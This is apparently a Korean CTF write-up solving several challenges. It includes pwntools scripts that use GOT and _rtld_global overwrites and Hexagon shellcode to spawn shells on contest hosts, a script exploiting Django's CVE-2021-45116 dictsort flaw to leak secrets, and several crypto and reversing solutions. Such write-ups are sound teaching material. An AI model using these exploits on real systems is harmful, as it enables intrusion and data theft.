2022 Fall Gon Open Qual CTF
imssm99 (2nd, 11427 pts)

A. Zero Gravity

Vulnerability

idx를 입력받을 때 값을 검사하지 않아 OOB가 일어나게 된다. a, r을 통해 임의의 주소에 float 형식으로 값을 더하거나 읽을 수 있다.

cnt = 1;
for ( i = 0; i < cnt; ++i )
{
    printf("(r)ead / (a)dd >> ");
    scanf("%2s", &s);
    if ( (char)s == 'a' )
    {
        printf(" idx >> ");
        scanf("%d", &idx);
        printf(" value >> ");
        scanf("%f", &value);
        arr[idx] = value + arr[idx];
    }
    else if ( (char)s == 'r' )
    {
        printf(" idx >> ");
        scanf("%d", &idx);
        printf("%.10e\n", arr[idx]);
    }
    memset(&s, 0, 3uLL);
}

/*
.got.plt:0x601028 = memset
.got.plt:0x601030 = setvbuf

.bss:0x6010A0 = arr
.bss:0x6010E0 = cnt
*/

Exploit

  • 먼저 cnt를 조작하여 for loop가 여러 번 돌도록 한다.
  • arr[-28]을 읽어 setvbuf@got의 lower 4byte를 읽어 system함수의 주소를 알아낸다.
  • arr[-30]에 값을 더해 memset@gotsystem함수의 주소로 덮어쓴다.
  • memset(&s, 0, 3uLL)에서 system(&s)가 실행되어 원하는 명령을 입력할 수 있다.
from pwn import *
import struct

itof = lambda x: struct.unpack("<f", struct.pack("<L", x))[0]
ftoi = lambda x: struct.unpack("<L", struct.pack("<f", x))[0]

elf = ELF("./zero_gravity")
libc = ELF("./libc.so.6")

p = remote("host1.dreamhack.games", 20267)
#p = process("./zero_gravity")

def read(idx):
    p.sendlineafter(b">> ", b"r")
    p.sendlineafter(b">> ", str(idx).encode())
    return ftoi(float(p.recvline()))

def add(idx, value):
    p.sendlineafter(b">> ", b"a")
    p.sendlineafter(b">> ", str(idx).encode())
    p.sendlineafter(b">> ", str(value).encode())

add(16, 0x10) # cnt+=0x10

l = read(-30)
lp = itof(l)
t = read(-28) - libc.symbols["setvbuf"] + libc.symbols["system"]
tp = itof(t)
print(hex(l), lp)
print(hex(t), tp)
add(-30, tp-lp)

print(hex(read(-30)))
p.interactive()

B. Bomblab - Hard

Level 1 ~ Level 6은 정적 분석을 통해 풀었고, Secret Phase는 Binary Patch를 통해 디버거 탐지를 우회한 뒤 GDB를 이용해 동적으로 분석했다.

Level 1

a = bytes.fromhex("839C8982939F899F8D8189")
code = bytes([x^0xCC for x in a])
print("[+] level 1:", code)

Level 2

a = [0]*6
a[0] = 1
for i in range(1, 6):
    a[i] = ( ((i*(i+1)) >> 1) + a[i-1] )
    assert a[i] == ( ((i*(i+1)) >> 1) + a[i-1] )
print("[+] level 2:", " ".join(map(str, a)))

Level 3

a = 0xDEADBEEF
assert a > 0xDEADBEEE
b = -327871 * ((450357013 * a) >> 53) * 61 + a
assert (a - b) // 0x3D == 327871 * ((450357013 * a) >> 53)
print("[+] level 3:", a, b)

Level 4

a, b = 123, 456
assert a >= -1 and b >= 0
assert a**4 - 3*(a**2)*b + b**2 == 208398105
print("[+] level 4:", a, b)

Level 5

#include <stdio.h>
#include <math.h>

int main(void)
{
    double f; // [rsp+18h] [rbp-48h] BYREF
    double v3; // [rsp+20h] [rbp-40h]
    double v4; // [rsp+28h] [rbp-38h]
    double c; // [rsp+30h] [rbp-30h]
    double v6; // [rsp+38h] [rbp-28h]
    double v7; // [rsp+40h] [rbp-20h]
    double v8; // [rsp+48h] [rbp-18h]
    double v9; // [rsp+50h] [rbp-10h]

    c = 0.0000001;
    v3 = 0.0;
    v4 = 0.0;
    f = 0.9;
    while ( f > v4 )
    {
        v6 = (v3 + 1.0) * (v4 + 1.0);
        v4 = c / 2.0 + v4;
        v7 = (v6 * c / 2.0 + v3 + 1.0) * (v4 + 1.0);
        v8 = (v7 * c / 2.0 + v3 + 1.0) * (v4 + 1.0);
        v4 = c / 2.0 + v4;
        v9 = (c * v8 + v3 + 1.0) * (v4 + 1.0);
        v3 = (v8 + v8 + v7 + v7 + v6 + v9) * c / 6.0 + v3;

        if ( fabs(v3 - 1.604151184400547) <= c ) {
            printf("%.18lf\n", v4);
            break;
        }
    }

    if ( fabs(v3 - 1.604151184400547) > c ) {
        printf("boom\n");
    }

    return 0;
}

Level 6

result = 1
for i in range(6):
	result *= func(inp[i], 1, inp[i+6], path)
assert result == 229391351 # 229391351 = 7 · 19 · 23 · 31 · 41 · 59

level6

Secret Phase

scanf(&level4_input, "%d %d %s", &a, &b, &c);
if (c == "c0m0r1bb")
    SecretPhase2();

Secret Phase 2

input = read_stream();
if ( (&abs & 0xFFF) != 3536 || (&atoi & 0xFFF) != 1600 )
  boom();
if ( abs(atoi(input)) == 3.14 )
{
  puts("Wow! You've defused the secret stage!");
  puts("Congratulations! You've defused the bomb!");
  print_flag();
  exit(0);
}
for ( i = 0; i <= 0x16E; ++i )
  *(&retaddr + i) = &abs + qword_203020[i] - 286160;

abs(atoi(input))은 절대 3.14가 될 수 없다. 아래 return address에 ROP Payload를 추가하는 부분이 있다. GDB를 이용해 boom()으로 가지 않도록 breakpoint를 걸어가며 확인했다.

→ 0x7ffff7df12b6 <__vfprintf_internal+518> cmps   BYTE PTR ds:[rsi], BYTE PTR es:[rdi]
  0x7ffff7df12b7 <__vfprintf_internal+519> ret

이 부분에서 값이 다르면 boom()으로 가게 된다. 플래그의 길이가 크게 길지 않아 여러 번 실행시켜가며 구조를 분석했고, 동일한 값이 나오는 입력을 찾았다.

Solution

OPEN_SESAME
1 2 5 11 21 36
3735928559 15904193
123 456 c0m0r1bb
0.707106799996007784
12 15 2 17 18 21 7 19 23 31 41 59
FLFCDAFAFPENDEEEEODDFDFDCBCBFN

C. pprintable

문제의 이름과 코드에서 알 수 있듯이 p, q의 각 byte는 출력 가능한 ASCII 범위 안에 있다. 이를 이용해 p, q의 upper 2bit가 01임을 알 수 있어 알고 있는 bit가 0.5를 넘게 된다.

또한, p, q를 복구하는 방법을 찾아보니 Gabrielle de Micheli, Nadia Heninger. Recovering cryptographic keys from partial information, by example. 2020 를 찾을 수 있었다. 여기서 나온 방법을 따라 Branch and Prune을 이용해 p, q를 복구할 수 있었다.

Solution

N = 0x12376eadc9b0bd1f13fa9d904f5a1a75bb7ddaaa77ec5b1e8dec4cb7532b662fcc63a0dfa982e1702be449c9b295bf7a0b7c6ba3dc7aaf3856d681601e723aa3bce3e0cd064793a9c6b00eb01d3e3f0fbceddb208cba2598d9d6a35f3cf8623a1389686807fb5f8f53dd0a7f544c02d030f498f7aa315b7547783399bc88cd3e2859b6786b858a35593537ead5a0cc48401a24cefe6ac6997035f6571af098d5d5b24313437fd89d22cce7fa5907d73c219b609eeea9bcffab0f18504e1d2ed5669752e21dd17b57ea5cf6e6efa76cd965e4589539dc087e152fb4d3f1f90edcdcab22b71b326a3e7e0674f8820a24aa3be15756db2e908d434b80419061bf45
e = 0x10001
p_redacted = 0x50b4040146040415a04084000094153182141460200401063040440024200046055600042240040410248014e00410444640240166000001e09141101084025181052000c30004260000406100601226058401613084a0040492001040404620100401344612000215221412811086840005d06001060000008460040025000
p_mask = 0x1250b70401c6444455a8418d2800945d3182dc1c7060a4010630c0c4282c2a0047575e8084aa4207ac592ca034e02e78445640f40366020089e0b9791119940b53818d2842c3082ea70818e0610a601b2e35844169708ca00404931912e04046e01004893e4632c80a1da23c9ab310868d402dd0600307283300cd680c1a25602
q_redacted = 0x80902304402050a7145440048082208004041205b60014000102340106007002a240b0108404005604000190060092010010004504c2104002100140009020270500022101530484551206642004c1424200000202040042210204c4143704000480101004809114629230312040040000600400420520943204412216404
q_mask = 0x1aa0809033046833d9e7945e420480822090ac0c1a35bf00b48a21223c23060070c2a240b0328c4c235e0408819817209a11531101c50cd21a6012309b40c292302f05000221c353a5845f126e65210ec9c24a0001820284004bf1a206c45637b4500680581894d0d1d46bb2b039a2e84d008a604508420d219c32166b2276c04
pt = int.from_bytes(b"flag{this_is_fake_flag_:P}", byteorder = "big")
ct = 0x97090fc71e4c4c7fe52fb9c5cafde7bae8cf5f911c2755174f3a61515f475c7000d127e23ad99498bd58078abe2890fe40c64067116c66be74ac5422e731905103f4ecc4ae6cf9478580d6fb373744b897caf2b95f01531b626afb46eb88c0f5f419635a27f903ab8ffc55094e015008cbb9520f07755da279226fefa8859bfef694b86ca3fdf88042361d18ecb7ae1ecf98041140b3f167687f45e3da914ee35f9d345782438018310da609578a1047a99a9c54ff846eb2017ac26a0cfb8f5e542c0c7feba904e0ff15a6e2712c2135f9c80b057185cd31a8e9e5371194d063776bdf3537837c705d3761dd6f0ec9419034c294914015bc0e3fbea474fdc15

import string

print(bin(p_mask))

mask = (1<<1024) - 1
p_mask &= mask
q_mask &= mask

pb = bytearray(p_redacted.to_bytes(128, "big"))
pm = bytearray(p_mask.to_bytes(128, "big"))

qb = bytearray(q_redacted.to_bytes(128, "big"))
qm = bytearray(q_mask.to_bytes(128, "big"))

for i in range(128):
    pb[i] |= 0b01000000
    pm[i] |= 0b11000000

    qb[i] |= 0b01000000
    qm[i] |= 0b11000000

p_known = int.from_bytes(pb, "big")
q_known = int.from_bytes(qb, "big")

p_mask2 = int.from_bytes(pm, "big")
q_mask2 = int.from_bytes(qm, "big")

p_cnt = (bin(p_mask2)[2:].count("1"), bin(p_mask2)[2:].count("0"))
q_cnt = (bin(q_mask2)[2:].count("1"), bin(q_mask2)[2:].count("0"))

print("P:", p_cnt, p_cnt[0]/1024 * 100)
print("Q:", q_cnt, q_cnt[0]/1024 * 100)

assert p_cnt[0]/1024 > 0.5 and q_cnt[0]/1024 > 0.5

pbin = lambda x: bin(x)[2:].rjust(1024, "0")[::-1]

p_k = pbin(p_known)
q_k = pbin(q_known)
p_m = pbin(p_mask2)
q_m = pbin(q_mask2)

queue = [("", "", 0)]

btoi = lambda x: int(x[::-1], 2)

while queue: 
#    print(queue)
    p_t, q_t, i = queue.pop()

    if i == 1024:
        p = btoi(p_t)
        q = btoi(q_t)

        print("p:", p)
        print("q:", q)
        assert p*q == N

        print((p.to_bytes(256, "big") + q.to_bytes(256, "big")).decode())

        break

    if i != 0 and (btoi(p_t) * btoi(q_t)) % 2**(i) != N % 2**(i):
        continue

    if p_m[i] == "1" and q_m[i] == "1":
        queue.append((p_t+p_k[i], q_t+q_k[i], i+1))
    
    elif p_m[i] == "1" and q_m[i] == "0":
        queue.append((p_t+p_k[i], q_t+"0", i+1))
        queue.append((p_t+p_k[i], q_t+"1", i+1))
    
    elif p_m[i] == "0" and q_m[i] == "1":
        queue.append((p_t+"0", q_t+q_k[i], i+1))
        queue.append((p_t+"1", q_t+q_k[i], i+1))

    else:
        queue.append((p_t+"0", q_t+"0", i+1))
        queue.append((p_t+"0", q_t+"1", i+1))
        queue.append((p_t+"1", q_t+"0", i+1))
        queue.append((p_t+"1", q_t+"1", i+1))

D. Obstacle

동적으로 디버깅하며 label.text로의 Indirect call을 이용하여 Control-Flow를 복구할 수 있었고, 이를 통해 encrypt 과정을 python코드로 작성할 수 있었다. 그 과정을 역으로 수행하는 decrypt를 구현하여 flag를 얻을 수 있었다.

Solution

import struct

mask8 = 0xFFFFFFFFFFFFFFFF
mask4 = 0xFFFFFFFF

def ROL(num, count, bits=8):
    return ((num << count) | (num >> (bits - count))) & ((0b1<<bits) - 1)

def ROR(num, count, bits=8):
    return ((num >> count) | (num << (bits - count))) & ((0b1<<bits) - 1)

key = b"Sup3r_s4f3_k3y".ljust(16, b"\x00")
iv = b"Sup3r_4ws0me_1v".ljust(16, b"\x00")

pbox = [None]*0x100

for blk in range(0x100):
    if blk:
        q, w = 1, 1
        while True:
            tmp = (w^(2*w)^0x1b) & mask4
            if w & 0x80 != 0:
                w = tmp
            else:
                w = (w^(2*w)) & mask4
            
            q = (q ^ (4 * (q^(2*q))) ^ (2*q) ^ (16 * ((4 * (q^(2*q))) ^ q ^ (2*q)))) & mask4
            if q & 0x80 != 0:
                q ^= 9

            if blk == w & 0xFF:
                break

        q &= 0xFF
        b = (ROL(q, 3) ^ ROL(q, 2) ^ q ^ 0x63 ^ ROL(q, 1) ^ ROL(q, 4)) & 0xFF
    else:
        b = 0x63
    
    pbox[blk] = b

assert None not in pbox

def encRound1(block):
    for i in range(16):
        block[i] ^= key[i]
    return block

def encRound2(block):
    l = struct.unpack(">Q", block[:8])[0]
    h = struct.unpack(">Q", block[8:])[0]
    l ^= ((h >> 19) & mask8) | ((h << 13) & mask8)
    block = struct.pack(">Q", h) + struct.pack(">Q", l)
    return block

def encRound3(block):
    a = [13, 0, 11, 14, 9, 12, 7, 10, 5, 8, 3, 6, 1, 4, 15, 2]
    
    block = bytearray([block[a[x]] for x in range(16)])

    for i in range(16):
        block[i] = pbox[block[i]]
    
    return block

def decRound1(block):
    for i in range(16):
        block[i] ^= key[i]
    return block

def decRound2(block):
    l = struct.unpack(">Q", block[:8])[0]
    h = struct.unpack(">Q", block[8:])[0]
    h ^= ((l >> 19) & mask8) | ((l << 13) & mask8)
    block = struct.pack(">Q", h) + struct.pack(">Q", l)
    return block

def decRound3(block):
    for i in range(16):
        block[i] = pbox.index(block[i])

    a = [13, 0, 11, 14, 9, 12, 7, 10, 5, 8, 3, 6, 1, 4, 15, 2]
    block = bytearray([block[a.index(x)] for x in range(16)])
    
    return block

block = bytearray(b"AAAABBBBCCCCDDDD")
assert decRound1(encRound1(block)) == block
assert decRound2(encRound2(block)) == block
assert decRound3(encRound3(block)) == block

'''
# ENC
data = bytearray(b"AAAABBBBCCCCDDDD\n".ljust(32, b"\x00"))

for i in range(0, len(data), 0x10):
    for j in range(0x10):
        if i == 0:
            data[j] ^= iv[j]
        else:
            data[i+j] ^= data[i+j-16]

    for r in range(0x131):
        if r % 3 == 0:
            data[i:i+0x10] = encRound1(data[i:i+0x10])
        elif r % 3 == 1:
            data[i:i+0x10] = encRound2(data[i:i+0x10])
        elif r % 3 == 2:
            data[i:i+0x10] = encRound3(data[i:i+0x10])

assert data.hex() == "be8744b98893267c3b90cb939e94aeff759b72058e202a6b84ec426c8f0bd092"
'''

# DEC
#data = bytearray(bytes.fromhex("be8744b98893267c3b90cb939e94aeff759b72058e202a6b84ec426c8f0bd092")) # for test
data = bytearray(bytes.fromhex("483918c5094768c537f60136658101142f7f30d93639b93020d8da002fbd1bcc186192025fe8b247530792b520c6c1a3b83789b93bc54ce30ae5d4f058213d45"))

for i in range(0, len(data), 0x10)[::-1]:
    for r in range(0x131)[::-1]:
        if r % 3 == 0:
            data[i:i+0x10] = decRound1(data[i:i+0x10])
        elif r % 3 == 1:
            data[i:i+0x10] = decRound2(data[i:i+0x10])
        elif r % 3 == 2:
            data[i:i+0x10] = decRound3(data[i:i+0x10])

    for j in range(0x10):
        if i == 0:
            data[j] ^= iv[j]
        else:
            data[i+j] ^= data[i+j-16]

print(data.decode())

G. Emerald Tablet

Vulnerability

Django의 dictsort에 대해 검색해보니 문제의 환경인 Django 4.0에 적용되는 CVE-2021-45116을 찾을 수 있었다. sort key로 indexing이 가능한 취약점이었고, key.hex.{i}를 통해 keyi번째의 hex값으로 정렬하도록 할 수 있었다.

uuid4()는 random한 uuid를 생성하는 함수이다. 여러 개의 데이터를 만들고, 정렬하여 flag의 index를 구하면 값을 알 수 있다. 데이터의 수가 많을 수록 정확한 값을 찾을 수 있다.

Exploit

import requests
from bs4 import BeautifulSoup as bs
import uuid

#url = "http://localhost:59909"
url = "http://host3.dreamhack.games:16320"

mag = 4

def upload_many(n):
    for i in range(n):
        r = requests.post(f"{url}/upload/", data={"inscriber": "a", "title": "a", "data": "a"}, allow_redirects=False)
        if r.status_code != 302:
            print("ERROR!")
            break

def flag_idx(sort):
    r = requests.get(f"{url}/list/", params={"sort": sort})
    soup = bs(r.text, "html.parser")

    elems = soup.select("tbody > tr")
    for i, e in enumerate(elems):
        if e.select_one("th").text == "1":
            return i

    return None

'''
RFC-4122
low = uuid.UUID("00000000-0000-4000-8000-000000000000")
high = uuid.UUID("FFFFFFFF-FFFF-4FFF-BFFF-FFFFFFFFFFFF")
'''
result = ""

print("[+] Upload Many Start")
upload_many(0x100 * mag)
print("[+] Upload Many Done")

for i in range(32):
    if i == 12:
        result += "4"

    elif i == 16:
        idx = flag_idx(f"key.hex.{i}") / mag
        leak = round(idx/0x40)+8
        result += hex(leak)[2:]

    else:
        idx = flag_idx(f"key.hex.{i}") / mag
        leak = round(idx/0x10)
        result += hex(leak)[2:]

    print(i, result)

print(uuid.UUID(result))

K. dlmalloc

Vulnerability

3. Clear 메뉴에서 memset을 할 때 size에 대한 검증이 없어 OOB가 발생한다.

void *storeClear()
{
  __int64 Store;
  __int64 Index;
  __int64 n;
    
  Store = readStore();
  Index = readIndex(Store);
  printf("Size? ");
  n = readUint64();
  return memset((void *)(8 * Index + Store), 0, n);
}

2. Write메뉴에서 Index를 읽어 원하는 위치에 값을 쓸 수 있다. 이때, malloc_usable_size(store)를 이용해 index의 범위를 검증하게 되는데 여기서 취약점이 발생하게 된다.

void storeWrite()
{
  __int64 result;
  __int64 Store;
  __int64 Index;

  Store = readStore();
  Index = readIndex(Store);
  printf("Value? ");
  result = readUint64();
  *(_QWORD *)(Store + 8 * Index) = result;
  return result;
}

unsigned __int64 readIndex(void *store)
{
  unsigned __int64 Uint64;
  size_t n;

  printf("Index? ");
  Uint64 = readUint64();
  n = malloc_usable_size(store);
  if ( Uint64 >> 61 || n <= 8 * Uint64 )
  {
    fwrite("[ERROR] Out-of-bound index.\n", 1uLL, 0x1CuLL, stderr);
    exit(1);
  }
  return Uint64;
}
#define INUSE_BITS          (PINUSE_BIT|CINUSE_BIT) // PINUSE_BIT = 1, CINUSE_BIT = 2
#define is_inuse(p)         (((p)->head & INUSE_BITS) != PINUSE_BIT)
#define chunksize(p)        ((p)->head & ~(FLAG_BITS))
#define overhead_for(p)     (is_mmapped(p)? MMAP_CHUNK_OVERHEAD : CHUNK_OVERHEAD)
#define is_mmapped(p)       (((p)->head & INUSE_BITS) == 0)

size_t dlmalloc_usable_size(void* mem) {
  if (mem != 0) {
    mchunkptr p = mem2chunk(mem);
    if (is_inuse(p))
      return chunksize(p) - overhead_for(p);
  }
  return 0;
}

malloc_usable_size()is_inuse(p) == 1, 즉 FLAG_BITS == 0 or 2일 때, chunksize(p) - overhead_for(p)를 return한다. 이때, chunksize == 0이고 FLAG_BITS == 0이면 0 - 16을 반환하게 되고, unsigned 자료형에서 underflow가 발생하게 된다.

3. Clear메뉴를 이용해 다음 chunk의 chunksizeFLAG_BITS를 0으로 만들면 Index의 검증을 우회할 수 있고 OOB Write가 가능하다.

Exploit

1. Allocation메뉴에서 allocation이 실패하게 될 경우 ld 중간에 할당되는 경우가 있었다. (이유는 모르겠음) 이를 통해 ld, libc의 base address를 찾고 _rtld_global._dl_rtld_lock_recursivesystem함수의 주소로, _rtld_global._dl_load_lock/bin/sh\x00으로 변조하고 4. Exit메뉴를 통해 exit()을 호출하여 shell을 획득할 수 있었다.

561066138000-561066139000 r--p 00000000 08:30 971904                     /home/dlmalloc/vuln
561066139000-56106613a000 r-xp 00001000 08:30 971904                     /home/dlmalloc/vuln
56106613a000-56106613b000 r--p 00002000 08:30 971904                     /home/dlmalloc/vuln
56106613b000-56106613c000 r--p 00002000 08:30 971904                     /home/dlmalloc/vuln
56106613c000-56106613d000 rw-p 00003000 08:30 971904                     /home/dlmalloc/vuln
7f619dbc1000-7f619dbc4000 rw-p 00000000 00:00 0
7f619dbc4000-7f619dbe6000 r--p 00000000 08:30 961397                     /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619dbe6000-7f619dd5e000 r-xp 00022000 08:30 961397                     /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619dd5e000-7f619ddac000 r--p 0019a000 08:30 961397                     /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619ddac000-7f619ddb0000 r--p 001e7000 08:30 961397                     /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619ddb0000-7f619ddb2000 rw-p 001eb000 08:30 961397                     /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619ddb2000-7f619ddb6000 rw-p 00000000 00:00 0
7f619ddba000-7f619ddbb000 r--p 00000000 08:30 971857                     /home/dlmalloc/libdlmalloc.so
7f619ddbb000-7f619ddc5000 r-xp 00001000 08:30 971857                     /home/dlmalloc/libdlmalloc.so
7f619ddc5000-7f619ddc6000 r--p 0000b000 08:30 971857                     /home/dlmalloc/libdlmalloc.so
7f619ddc6000-7f619ddc7000 r--p 0000b000 08:30 971857                     /home/dlmalloc/libdlmalloc.so
7f619ddc7000-7f619ddc8000 rw-p 0000c000 08:30 971857                     /home/dlmalloc/libdlmalloc.so
7f619ddc8000-7f619ddca000 rw-p 00000000 00:00 0
7f619ddca000-7f619ddcb000 r--p 00000000 08:30 961375                     /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddcb000-7f619ddee000 r-xp 00001000 08:30 961375                     /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddee000-7f619ddf6000 r--p 00024000 08:30 961375                     /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddf6000-7f619ddf7000 rw-p 00000000 00:00 0
7f619ddf7000-7f619ddf8000 r--p 0002c000 08:30 961375                     /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddf8000-7f619ddf9000 rw-p 0002d000 08:30 961375                     /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddf9000-7f619ddfa000 rw-p 00000000 00:00 0
7ffe5497a000-7ffe5499b000 rw-p 00000000 00:00 0                          [stack]
7ffe549a1000-7ffe549a5000 r--p 00000000 00:00 0                          [vvar]
7ffe549a5000-7ffe549a6000 r-xp 00000000 00:00 0                          [vdso]
from pwn import *

def falloc(size):
    p.sendlineafter(b"?", b"1")
    p.sendlineafter(b"?", str(size).encode())
    r = p.recvline()

    if b"Failed" in r:
        return None

    return int(r.split(b": ")[1], 16)

def fwrite(store, index, data):
    p.sendlineafter(b"?", b"2")
    p.sendlineafter(b"?", str(store).encode())
    p.sendlineafter(b"?", str(index).encode())
    p.sendlineafter(b"?", str(data).encode())

def fclear(store, index, size):
    p.sendlineafter(b"?", b"3")
    p.sendlineafter(b"?", str(store).encode())
    p.sendlineafter(b"?", str(index).encode())
    p.sendlineafter(b"?", str(size).encode())

#context.log_level = "debug"

libc = ELF("libc.so.6")

#p = process("./vuln", env={"LD_PRELOAD": "./libdlmalloc.so"})
p = remote("host3.dreamhack.games", 14260)
falloc(0xFFFFFFFF00000000)
falloc(0xFFFFFFFF00000000)
falloc(0xFFFFFFFF00000000)

falloc(0x20)
leak = falloc(0x20)

ld_bss_offset = 0x2000
libc_base = leak - 0x40 - 0x230000
print(hex(leak - 0x40 + ld_bss_offset))

fclear(0, 0, 1024)

pause()

fwrite(1, (0x2f68 - 0x40) // 8, libc_base + libc.symbols["system"])
fwrite(1, (0x2968 - 0x40) // 8, u64(b"/bin/sh\x00"))

p.sendlineafter(b"?", b"4")

p.interactive()

L. baby-hexagon

Vulnerability

int main (int argc, char **argv, char **envp);
0x000202a0      ?         allocframe(SP,#0x110):raw
0x000202a4      /         immext(##0xfffefe80)
0x000202a8      \         R2 = add(PC,##0xfffefebe)
0x000202ac      [   R0 = ##0x40
0x000202b0      [   R1 = ##0x1
0x000202b4      [   R3 = ##0x15
0x000202b8      [   call syscall   ; sym.syscall -> write(0x1, &"Give me something...\n", 0x15)
0x000202bc      [   R1 = ##0x3f
0x000202c0      [   R2 = ##0x0
0x000202c4      [   R3 = add(FP,##-0x100)
0x000202c8      [   R4 = ##0x200
0x000202cc      [   memw(FP+##-0x104) = R0
0x000202d0      [   R0 = R1
0x000202d4      [   R1 = R2
0x000202d8      [   memw(FP+##-0x108) = R2
0x000202dc      [   R2 = R3
0x000202e0      [   R3 = R4
0x000202e4      [   call syscall   ; sym.syscall -> read(0x0, 0x4080xxxx, 0x200)
0x000202e8      [   R1 = memw(FP+##-0x108)
0x000202ec      [   memw(FP+##-0x10c) = R0
0x000202f0      [   R0 = R1
0x000202f4      [   LR:FP = dealloc_return(FP):raw

Stack frame의 크기보다 큰 입력을 받기 때문에 Buffer Overflow가 발생한다.

Exploit

FP를 바꾸고 원하는 주소(r, w)에 입력받은 뒤, 그 주소에 쉘코드를 쓰고 점프했다. 지금 보니까 x 권한이 없는데 아마도 _qemu-hexagon_이 쉘코드를 직접 Host에서 실행하는 것이 아니라 TCG를 이용해 실행하기 때문에 되는 것으로 추정된다.

00010000-00020000 ---p 00000000 00:00 0
00020000-00040000 r--p 00000000 00:00 0
00040000-00052000 rw-p 00000000 00:00 0
00052000-00060000 rw-p 00000000 00:00 0
00060000-40000000 ---p 00000000 00:00 0
40000000-40010000 r--p 00000000 00:00 0
40010000-40020000 ---p 00000000 00:00 0
40020000-40820000 rw-p 00000000 00:00 0
40820000-100000000 ---p 00000000 00:00 0
from pwn import *
import time

from keystone import *

ks = Ks(KS_ARCH_HEXAGON, KS_MODE_LITTLE_ENDIAN)
addr = 0x40600000 # rw? rwx?

code = f"""
R6 = ##0xDD
R0 = ##{hex(addr + 0x38)}
R1 = ##{hex(addr + 0x40)}
R2 = ##{hex(addr + 0x50)}
"""
encoding, count = ks.asm(code)
asmcode = bytearray(encoding)
asmcode += bytes.fromhex("04C00054") # trap0(#0x1)

code = f"""
R6 = ##0x5D
R0 = ##0x0
"""
encoding, count = ks.asm(code)
asmcode += bytearray(encoding)
asmcode += bytes.fromhex("04C00054")

#p = process(["qemu-hexagon-static", "-strace", "./vuln"])
p = remote("host3.dreamhack.games", 12649)

payload = b""
payload = payload.ljust(0x100, b"A")
payload += p32(addr + 0x100) # FP
payload += p32(0x202bc) # PC

p.send(payload)
time.sleep(1)

payload = b""
payload += asmcode
payload += b"/bin/sh\x00" 
payload += p32(addr+0x38)
payload = payload.ljust(0x100, b"\x00")
payload += p32(addr) # FP
payload += p32(addr) # PC

p.send(payload)

p.interactive()

M. cheat

Vulnerability

_client_를 분석해보면 20x20 크기의 맵의 row[i], col[i]에 저장된 좌표들을 한 번씩만 밟으면 flag를 얻을 수 있다는 코드가 있다.

_server_는 _client_에서 받는 x, z 좌표가 1초에 1개 이하인지, (x**2 + z**2) / time <= 4.0 인지 검증한다.

위 두 검증을 피하기 위해서 좌표 전송 사이에 (x**2 + z**2) // 4 + 1만큼의 timeout을 추가하여 flag를 얻을 수 있었다.

Exploit

from pwn import *
import time
from collections import deque

row = [1040511, 10049, 9537, 9597, 517381, 263677, 523391, 64, 1044447, 524305, 782335, 655376, 917535, 1, 262143, 131075, 246755, 948771, 772927, 555519]
col = [1046399, 1037633, 808313, 808297, 810857, 1000553, 607727, 607520, 869694, 476418, 17790, 935232, 671808, 673119, 1000785, 345425, 345425, 515409, 135537, 925441]

step = [[0 for _ in range(20)] for _ in range(20)]

for x, r in enumerate(row):
    rr = bin(r).lstrip("0b").rjust(20, "0")[::-1]
    for z, f in enumerate(rr):
        if f == "1":
            step[x][z] = 1
        else:
            step[x][z] = 0

for x in range(20):
    tmp2 = 0
    for z in range(20):
        tmp2 += step[z][x] << z
    assert tmp2 == col[x]

def pm():
    for d in step:
        print(d)
    print()

p = remote("host3.dreamhack.games", 20609)

context.log_level = "debug"

calct = lambda x, z: (x**2 + z**2) // 4 + 1

lastx = -1
lastz = -1
for x in range(20):
    if x%2 == 0:
        for z in range(20):
            if (step[x][z] == 1):
                time.sleep(calct(lastx - x, lastz - z))
                p.sendline(f"{x} {z}".encode())
                lastx = x
                lastz = z
                print(p.recv(timeout=0.1))
    else:
        for z in range(19, -1, -1):
            if (step[x][z] == 1):
                time.sleep(calct(lastx - x, lastz - z))
                p.sendline(f"{x} {z}".encode())
                lastx = x
                lastz = z
                print(p.recv(timeout=0.1))

p.interactive()

N. Private Storage

Vulnerability

RC4의 작동 방식은 Ct = Pt ⊕ Key와 같은 간단한 방식이다. _server.py_를 보면 key가 고정되어 있으므로 다음과 같이 flag를 구할 수 있다.

C_str = P_str ⊕ Key
C_flag = P_flag ⊕ Key
P_flag = C_flag ⊕ C_str ⊕ P_str

Exploit

from pwn import *
from Crypto.Cipher import ARC4
from base64 import b64encode, b64decode
import zlib

#p = process(["python3", "server.py"])
p = remote("host1.dreamhack.games", 23936)

def download_file(fname):
    p.sendlineafter(b">>", b"2")
    p.sendlineafter(b">>", fname.encode())
    p.recvuntil(b": ")
    return b64decode(p.recvline().strip())

def add_file(fname, content):
    p.sendlineafter(b">>", b"3")
    p.sendlineafter(b">>", fname.encode())
    p.sendlineafter(b">>", content)


key = download_file("key")
flag = download_file("flag.txt")

data = b"12345678"*0x100

add_file("a", data)

b = download_file("a")

xor_bytes = lambda a, b: bytes([q^w for q, w in zip(a, b)])

zlib_flag = xor_bytes(xor_bytes(flag, b), zlib.compress(data))

print(zlib_flag)
print(zlib.decompress(zlib_flag))

p.interactive()

O. Checkers

Vulnerability

문제 파일에 있는 함수 이름 straddling_checkerboard를 검색해보니 치환 암호라는 것을 알 수 있었다.

한 글자씩 추가해가며 flag의 암호화 결과와 일치하는 것을 찾아 flag를 구할 수 있었다.

Exploit

from pwn import *

ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_/"

#p = process(["python3", "chal.py"])
p = remote("host3.dreamhack.games", 9090)

p.sendlineafter(b"Exit\n", b"3")
p.recvuntil(b":")
flag = p.recvline().strip()[4:-1].decode()

def enc(data):
    p.sendlineafter(b"Exit\n", b"1")
    p.sendlineafter(b"\n", data.encode())
    p.recvuntil(b":")
    return p.recvline().strip().decode()

print(flag)

result = [""]
flag_maybe = []

while result:
    now = result.pop()
    
    if len(now) > 10:
        print(now)
        flag_maybe.append(now)

    for c in ch:
        if flag.find(enc(now + c)) == 0:
            result.append(now + c)


print(flag_maybe)

P. farmer

FTK Imager를 사용해 _/home/ubuntu_아래에서 _binary_와 flag.png.00 ~ _flag.png.09_를 얻을 수 있었다.

